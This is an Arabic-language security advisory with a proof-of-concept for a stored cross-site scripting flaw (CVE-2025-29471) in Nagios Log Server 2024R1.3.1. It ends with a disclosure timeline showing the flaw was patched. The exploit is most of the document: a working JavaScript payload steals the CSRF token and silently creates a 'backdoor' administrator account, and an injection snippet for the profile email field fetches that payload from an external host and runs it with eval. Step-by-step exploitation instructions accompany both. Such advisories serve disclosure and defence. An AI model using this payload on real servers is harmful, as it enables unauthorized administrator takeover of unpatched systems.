CVE-2025-29471

ثغرة XSS مخزنة في Nagios Log Server (تصعيد الامتيازات إلى مدير)

▶️ عرض توضيحي (PoC)

التاريخ: 2025-04-02

مؤلف الاستغلال: Seth Kraft

الصفحة الرئيسية للبائع: https://www.nagios.com/

سجل التغييرات للبائع: https://www.nagios.com/changelog/#log-server

رابط البرنامج: https://assets.nagios.com/downloads/nagios-log-server/versions.php

الإصدارات المتأثرة: 2024R1.3.1 وما دونه

تم الاختبار على: Nagios Log Server 2024R1.3.1 (الإعدادات الافتراضية، Ubuntu 20.04)

CWE-ID: CWE-79

النتيجة الأساسية: 8.3 (عالية)

سلسلة المتجهات: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

النوع: تخزين نص برمجي عبر المواقع (XSS مخزنة)، تصعيد الامتيازات

الإذن

لأغراض الاختبار والبحث المصرح به فقط. لا تختبر أو تستغل هذه الثغرة على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

الوصف:

تسمح ثغرة XSS مخزنة في Nagios Log Server 2024R1.3.1 لمستخدم ذي صلاحيات منخفضة بحقن JavaScript ضار في حقل 'email' الخاص بملف تعريفه.

عندما يعرض المسؤول سجلات التدقيق، يتم تنفيذ الحمولة، مما يؤدي إلى تصعيد الامتيازات عبر إنشاء حساب مسؤول غير مصرح به.

إثبات المفهوم

1. استضف حمولة xss.js على خادمك الخارجي بالمحتوى التالي. يعمل GitHub بشكل جيد.

قم بتحديث <target-ip> إلى عنوان IP/اسم المضيف لخادم Nagios Log Server المستهدف.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

2. سجل الدخول إلى Nagios Log Server كمستخدم قياسي (غير مسؤول).

3. انتقل إلى نقطة تحديث الملف الشخصي:

   http://<target-ip>/nagioslogserver/profile/update

4. احقن الحمولة التالية في حقل البريد الإلكتروني. قم بتحديث سطر fetch بعنوان URL حيث يتم تخزين xss.js.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

5. انتظر حتى يعرض المسؤول سجلات التدقيق. سيتم تنفيذ JavaScript، مما يؤدي إلى إنشاء حساب مسؤول جديد:

اسم المستخدم: backdoor

كلمة المرور: Password123!

6. سجل الدخول كـ backdoor مع وصول كامل كمسؤول في Nagios Log Server.

الجدول الزمني للإفصاح

• 2025-02-07: أبلغ الباحث البائع عن الثغرة
• 2025-02-14: أقرت Nagios باستلام تقرير الأمان
• 2025-03-03: طلب الباحث تحديثًا من Nagios
• 2025-03-10: طلب الباحث تحديثًا من Nagios
• 2025-03-17: أكدت Nagios معالجة الثغرة والتخطيط لإصدار إصلاح قريبًا
• 2025-03-19: أصدرت Nagios الإصدار Nagios Log Server 2024R2
• 2025-03-27: اختبر الباحث الإصدار Nagios Log Server 2024R2 وتحقق من حل ثغرة XSS المخزنة، وأبلغ Nagios بالتحديث
• 2025-04-01: خصصت MITRE المعرف CVE-2025-29471 لهذه الثغرة، لكن التفاصيل ظلت غير منشورة بسبب عدم وجود إعلان أمان عام من البائع
• 2025-04-09: أصدرت Nagios متابعة لإصلاح 2024R2 (2024R1.3.2) لتطبيق إصلاح ثغرة XSS المخزنة على فرع 2024R1
• 2025-04-15: نُشر المعرف CVE-2025-29471 رسميًا

إخلاء مسؤولية

تم إجراء هذا العمل خارج نطاق عملي ويعكس جهودي الشخصية في مجال البحث الأمني السيبراني.